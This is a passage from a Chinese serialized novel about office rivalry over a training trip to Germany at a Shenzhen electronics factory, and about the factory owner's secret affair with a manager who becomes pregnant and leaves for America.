她的声音因为兴奋而微微颤抖。威廉拍拍她肩膀走开了。裴文莹站在原地,忍不住弯了下眼睛。 消息传得很快。 冯心媚坐在自己的办公室里,指甲刀一下一下地修剪着指甲,听到这件事时手顿了一下,眼底闪过一丝冷。裴文莹,农村来的打工妹,凭什么? 她起身,扭着腰往郭育铭办公室走去。一路上,她的脑子飞速运转,思索着该如何在郭育铭面前诋毁裴文莹,从而让自己获得这个难得的进修机会。 “育铭,我听说厂里要送裴文莹去德国进修?”她娇声说道,声音软得像蜜。 郭育铭抬头看她,没有说话。 冯心媚坐到他对面椅子上,身体微微前倾:“我也是大学毕业生,也做了多年管理。这种好机会,为什么要给一个不是自己人的?” 郭育铭微微皱眉,“这是威廉争取来的,说是对厂里的技术提升有帮助。”他的眼神中透露出一丝犹豫。 冯心媚冷哼一声,脸上闪过一丝不悦,“育铭,你是不是太信任她了?你有没有想过,她毕竟不是自己人?这种机会,为什么不给我们公司培养出来的管理层?裴文莹可不是我们自己人。” 她缓缓靠近郭育铭,语调放得更轻:“我可是宝岛的大学毕业的,也做了多年管理,我的资历难道比不过一个农村来的打工妹?” 郭育铭的眉头微微皱起。冯心媚见状,嘴角的笑意更深了一些,她趁机添了一把火:“裴文莹野心很大,她一直想往上爬,谁知道她去德国之后,还会不会回来?” 郭育铭听了,脸色凝重,陷入沉思,连冯心媚什么时候走的都不知道。 裴文莹在技术方面有着过人之处,为厂里解决了不少难题。但冯心媚说的也并非毫无道理,她和威廉走得近,若真让裴文莹去了德国,万一她被其他公司挖走,那对厂里来说将是不小的损失。 冯心媚走后没多久,江富生就撞了进来。 “姐夫!凭什么她能去德国?她一个农村来的——我也要去!” 郭育铭看到江富生,心情更糟糕了,没好气地说:“你知不知道自己有几斤几两?这是去进修,不是去度假!你去德国能干什么?” “那她就懂了?她也不过就是会点德语——”江富生梗着脖子。 “给我滚出去。” 江富生被吼得噎住,脸涨得通红,摔门走了。 当天晚上,他约了几个狐朋狗友在酒吧喝酒。 瘦高男人晃着酒瓶,慢悠悠说:“富生,你姐夫最怕什么?最怕厂里闹意见。你多找几个人去找他说,裴文莹去德国,底下人都不服,你看看他慌不慌。” 旁边胖子也点头:“再说了,这事儿还有转机。你直接找那个德国佬威廉去,就说你也想去。他一个打工的,敢不给你这个老板小舅子面子?” “就是!”瘦高男人拍了拍桌子,故意压低声音,挑拨道,“再说了,你姐夫这么器重裴文莹,谁知道他们俩之间有没有什么见不得人的事儿?” 这句话瞬间点燃了江富生的怒火,他猛地坐直身子,目光凶狠地眯起:“你什么意思?” 胖男人慢条斯理地晃着酒杯,语气不紧不慢:“你自己想啊,这么多经理,这么多比她优秀的管理层,怎么就她能去?还不是因为你姐夫太信任她?” 江富生眯起眼,把酒杯重重一放,眼里透出狠劲:“说得对。” 第二天,他果然去了威廉的办公室。语言不通,还带了翻译 威廉正在整理技术资料,见江富生进来,客气地点了点头。 江富生大步走到桌前坐下,翘起二郎腿,冲旁边跟着进来的翻译努了努嘴:“你跟他说,德国那个名额,我也要去。” 翻译是一个戴眼镜的年轻人,赶紧用德语复述了一遍。 威廉听完,目光平静,缓缓说了一句。 翻译转向江富生:“威廉先生说,这个名额是厂家指定的,需要技术背景。” “技术背景?”江富生嗤了一声,“裴文莹有个屁的技术背景。你告诉他,她就是个农村来的,会两句德国话哄他高兴罢了。” 翻译张了张嘴,有些为难地看了看威廉,还是如实翻了。 威廉听完,眉头微微一动,但很快恢复平静。他看着江富生,说了很长一段。 翻译等着他说完,才转过来:“威廉先生说,他很尊重裴小姐的专业能力,这个名额也是厂家那边看了她的工作记录之后主动提出的。他……他作为外方工程师,没有权力更改人选。” 江富生听完翻译的话,脸色沉下去。他往前探了探身,指着威廉的鼻子,语速快得像崩豆:“你跟他说,我是郭育铭的小舅子。他一个外国打工的,在中国的地盘上,别不识抬举。” 翻译犹豫了一下,压低声音:“江经理,这话……” “翻!” 翻译只好硬着头皮,把话翻了过去。 威廉听完,沉默了几秒。他低下头,手指在图纸边缘轻轻摩挲了一下,再抬头时,脸上挂着一个礼貌而疏离的微笑。他说了两句。 翻译等着他讲完,语气客气地转述:“威廉先生说,他会向总部反映江经理的意愿,但最终决定权在厂家那边,不在他手里。” 办公室里安静了三秒。江富生盯着威廉的脸,想从他眼睛里找出一丝慌张或讨好,但什么都没有。那双蓝眼睛看着他,客客气气,不卑不亢。 翻译又补了一句:“威廉先生还说,非常抱歉。” 江富生哼了一声,站起来。他走到门口,回头看了一眼翻译:“你再跟他说一句——让他好好反映,等我姐夫高兴了,亏待不了他。” 翻译这次没犹豫 ,用尽量委婉的德语说:“江先生感谢您的配合,希望您能帮忙争取。” 威廉点了点头,说了一句。 翻译:“威廉先生说,他会的。” 江富生这才满意,哼着小曲走了。 威廉站在原地,看着那扇还在晃动的门。翻译搓了搓手,讪笑着说了句“江经理就是这个脾气,您别介意”。威廉没有看他,只是坐回椅子上,翻开一个黑色笔记本,用德语写了一行字。 笔尖划过纸面的声音,在安静的办公室里清晰可闻。 他合上本子,重新翻开图纸,仿佛什么都没发生过。 翻译没敢再说话,悄悄退了出去。 郭育铭在办公室里忙了一整天,处理着堆积如山的文件,眉头始终紧紧皱着。 关于派谁去德国进修这件事,像一块沉甸甸的石头,压在他的心头,让他心烦意乱。理智上,当然是裴文莹最合适,然而冯心媚的软磨硬泡和挑拨离间,说的也有几分道理,甚至小舅子江富生的无理取闹,也情有可原。但他心里清楚,这个决定关乎着厂里的未来发展,不能草率。 夜深了,郭育铭起身,决定去厂房走走,散散心,顺便看看车间的情况。当他走近厂房时,里面隐隐传来说话声。他轻轻推开门,只见昏黄的灯光下,裴文莹和威廉正围在一堆图纸前,热烈地讨论着。 裴文莹的眼睛里闪烁着专注的光芒,手中的笔在图纸上不时比划着,用流利的英语说道:“威廉,你看这个部分,如果按照我们之前讨论的方案进行优化,不仅能提高生产效率,还能降低成本。” 她的声音清脆而坚定,在空旷的厂房里回荡。 威廉微微点头,蓝色的眼睛里满是赞赏,“裴,你的想法非常不错。不过,在实际操作中,可能还会遇到一些技术难题,这个地方,以及这里,我们需要再深入探讨一下。” 郭育铭静静地站在一旁,看着他们专注的模样。 裴文莹虽然出身不高,但她的天份和勤奋,是他见过的人中少有的——这样的人,只要给她一个机会,她就能腾空而起。 反观小舅子江富生,整天游手好闲,只想着吃喝玩乐,若真送他去德国进修,恐怕只是浪费时间和金钱。 冯心媚虽说有大学学历,但她的心机和嫉妒心,郭育铭也有所察觉,她更多的是为了自己的利益,而非真正为了厂里的发展。 郭育铭站在那里,心中的天平悄然发生了倾斜。 许久,他清了清嗓子,走了进去。裴文莹和威廉看到郭育铭,微微一愣,随即停下了讨论。“老板,这么晚了,您还来厂里啊。”裴文莹礼貌地说道。 郭育铭笑了笑,说道:“我来看看。你们俩工作到这么晚,辛苦了。” 他看向裴文莹,眼神中多了几分坚定,“文莹,德国进修的事情,我决定了,就派你去。你要好好把握这个机会,多学些先进技术回来,为厂里争光。” 裴文莹瞪大了眼睛,眼中满是惊喜与不可置信,“真的吗?太感谢您了!我一定不会辜负您的期望!” 她的声音因为激动而稍微抬高,看向威廉时,眼中也充满了感激。 威廉不懂中文,不知道郭育铭是什么意思,但看到裴文莹高兴,也为她感到高兴,微笑着对她点了点头。 要是他知道,郭育铭是专门来宣布,赴德国进修的机会属于裴文莹,他一定会奇怪——难道这不是天经地义吗?这个机会就是他专门为了裴文莹去向厂里申请的,派别人也不行啊! 郭育铭又和他们简单聊了几句,便离开了厂房。 54. 第 54 章 铭康电子厂的行政楼里,江富生兴冲冲地推开厂办的门,嘴角带着一抹得意的笑。 他早就打听过了,郭育铭信任的老臣里,尤厂长算一个。既然直接找姐夫要去德国的机会被骂了一顿,那换个路子,从尤厂长这里下手,说不定还有机会。 办公室里,尤厂长正坐在宽大的办公桌后,端着茶杯慢悠悠地吹着茶叶。他见江富生风风火火地进来,眼皮都没抬一下,似乎早就料到了他的来意。 厂办的人推门而入,语气恭敬:“江经理,老板让您收拾一下,准备去东南亚考察市场。” 空气瞬间安静了几秒。 江富生愣了一下,皱起眉头:“东南亚?” “是的。”厂办的人递上了一份详细的行程安排,“先去新加坡,再去马来西亚、泰国,总部希望看看那边的投资环境,考虑建厂的可能性。” 江富生拿过文件,扫了一眼,整个人的情绪瞬间发生了变化。 “新马泰考察?”他下意识地咽了咽口水,眼里闪过一丝兴奋。 尤厂长在一旁看得分明,嘴角微微扬起一抹不易察觉的笑意。果然还是那句话,了解一个人,就知道他好拿捏。 老板安排的这招可谓高明,给他一个光鲜的“任务”,让他自己主动放弃德国的事。 果不其然,江富生翻看着文件,越看越兴奋,刚刚还在大骂裴文莹的愤怒瞬间抛到了九霄云外。 “什么时候出发?”他急不可耐地问道。 厂办的人微笑:“后天,签证和机票都已经安排好了。” “好好好!”江富生满口答应,嘴角的笑意根本压不住。 什么德国?德国进修得学一大堆东西,天天被那些洋鬼子管着,还不一定能搞出什么好处。可新马泰考察?那可是光明正大地公费旅游,吃住全包,顺便还能带回来几个市场报告,在姐夫面前表现一番。 这还用选?当然选去东南亚! 他拍拍文件,站起身,意气风发地说道:“行!这趟我去定了!” 尤厂长轻轻吹了一口茶,眼里闪过一丝讽刺的笑意。 江富生满脸喜气洋洋地去准备行李,却完全没有意识到,自己不过是被郭育铭巧妙地支开了。 一周后的深夜,郭育铭办公室。 灯只开了一盏台灯,光线拢在桌面那一小片区域,其他地方都沉在暗里。窗外的深城灯火隔着玻璃涌进来,远远的,像另一个世界的声音。 冯心媚站在桌前,两手交握在身前。她盯着桌面上的文件,一个字也没看进去。 郭育铭以为她是因为裴文莹的事来闹,先开了口:“阿媚,让裴文莹去德国,我考虑过的,你不要——” “育铭。”她打断他。声音很低,低到郭育铭顿了一下,抬起头看她。 冯心媚低下头,沉默拉了几秒,她才开口,声音轻得几乎要碎掉:“我怀孕了。” 空气里像有什么东西嗡地响了一声。 郭育铭手里的笔停在半空,他侧过头,眉毛微微拧着,像是在等她下一秒说“骗你的”。但她没有。她站在那里,嘴唇抿着,泪水盈眶。 “你说什么?”他放下笔,声音压得很低,带着一丝侥幸,“你别开这种玩笑。” 冯心媚终于抬起头看他,眼泪在灯下闪着细碎的光。她就那么看着他:“育铭,我怎么可能拿这种事开玩笑。” 郭育铭腾地站起来,椅子腿在地板上刮出短促的一声。他绕过桌子走到她面前,一把抓住她手腕:“这孩子不能留!走,现在去医院,打掉。” 冯心媚没动。他拽了一下,她纹丝不动地站在原地,手腕在他掌心里微微发抖。 “我不去。”她说。 “阿媚!”郭育铭的声音骤然拔高,又立刻压下去,像怕被谁听见,“你知道这什么后果吗?你表姐那边——” 他和冯心媚在一起,只是为了排解寂寞,从未想过要和她结婚。他的妻子在台湾,家族势力庞大,他的事业发展离不开妻子娘家的支持。 “我知道。”冯心媚打断他,眼泪终于掉下来,一颗一颗砸在衣襟上,“我知道你有家庭,我知道你离不开我表姐娘家的支持,我知道这个孩子来得不是时候——这些我都知道。” 她抬起另一只手,覆在他攥着她手腕的手背上,手指冰凉:“可是育铭,它已经在了。它是我们两个的,你不能让我一个人扛。” 郭育铭松开了她的手腕,退后两步,一只手撑住桌沿。台灯的光从侧面打在他脸上,半明半暗,眉心拧成一个深褶。 他的内心仿佛陷入了无尽的拉锯战,看着冯心媚那张满是泪痕的脸,嘴唇动了动,又闭上。 “打掉。”他重复了一遍,声音哑得厉害,“我给你找最好的医生,不会留痕迹。你想要什么补偿我都——” “我不要补偿。”冯心媚的声音忽然稳了一些,她擦了一把脸上的泪,吸了吸鼻子,“育铭,我年纪不小了。回宝岛我找不到比你更好的男人,留在大陆我什么都没有。这个孩子是我唯一的——” 她顿了一下,没有把最后两个字说出来。但郭育铭读懂了。唯一的筹码。 办公室里安静了很久。落地窗外的城市灯火明明灭灭,像无数双眼睛。 郭育铭转过身,背对着她,两只手撑在窗台上,肩膀微微塌着。他沉默了很长时间,久到冯心媚以为他不会回答了。 “你想怎么办。”他终于开口,声音平静了一些,但那份平静底下压着什么东西,像一锅烧到临界却还没翻的水。 冯心媚看着他的背影,声音也平静下来,带着一种钝钝的、被磨过的坚定:“我去美国待产。孩子在那边出生,拿美国国籍,跟你没有任何关系。别人问起来,就说我是去开拓北美市场的,谁都不会知道。 ” 她停了一下,声音放得更轻:“育铭,我不会让你为难。我只要这个孩子。” 郭育铭的肩膀微微动了一下。他转过身,眼神复杂地看着她。灯光把他的五官照得明暗分明,那双眼睛里闪过的情绪太多、太快,分辨不清是愧疚、烦躁,还是某种被逼到墙角的妥协。 “你早就想好了。”他说。不是问句。 冯心媚没否认。 郭育铭闭了一下眼睛,再睁开时,眼神里那种挣扎淡了一些,取而代之的是一种冷下来的、商人式的权衡。他看着冯心媚,慢慢说:“好。你去美国。对外就说是开拓北美市场,低调点,不要搞出任何动静。” 他顿了一下,声音往下沉:“但阿媚,你听清楚——我不会离婚。永远都不会。” 冯心媚脸上还挂着泪痕,嘴角却微微弯了一下,像是笑,又像是某种达成目的的释然。她点了点头,声音恢复了一贯的柔顺:“我知道。我只要你记得,这个孩子是我们的就够了。” 她转身往门口走,走了两步,又停下来,没有回头:“谢谢你,育铭。” 门轻轻关上。 郭育铭一个人站在办公室里,台灯还亮着,桌上摊着没批完的文件。他慢慢坐回椅子里,把脸埋进手掌,很久没有动。 窗外深城的灯火一片一片地亮着,没有一盏是为他亮的。 三天后,厂里传出消息:冯心媚调任北美市场,当天就走。 茶水间里议论纷纷。 “北美市场?她不是董事长秘书吗?” “三天前才定的,今天人就走了,连告别都没有。” “这也太突然了吧……” 裴文莹端着水杯站在一旁,听着,微微皱了皱眉。冯心媚和老板的关系在厂里不是秘密,怎么说调走就调走,走得这么急? “管她呢。”旁边的同事碰了碰她胳膊,“反正她要走了,你也要去德国了,都往前走了。” 裴文莹笑了一下,把杯子里的水喝完。 她走到窗边,看着楼下停车场里一辆黑色轿车缓缓驶出大门。车窗贴了深色的膜,看不清里面的人。但那辆车在门口停了一瞬,像是迟疑,然后拐上了主路,汇入车流,很快消失在视野里。 裴文莹收回目光,把杯子放下,转身回了工位。桌上的台历翻到十二月,她用红笔在一月那一页画了个圈,又画了个箭头,指向德国。 远处,那辆黑色轿车已经开远了。后座上的冯心媚靠在座椅里,手轻轻覆在小腹上,嘴角挂着一丝若有若无的笑。窗外的城市往后倒退,一栋一栋的高楼掠过去,像什么正在被甩在身后。 她的手机亮了一下,是一条信息,郭育铭发来的,只有两个字:“保重。” 她盯着那两个字看了很久,然后按灭屏幕,把手机翻扣在膝盖上。车窗外的光在她脸上滑过去,明一下,暗一下。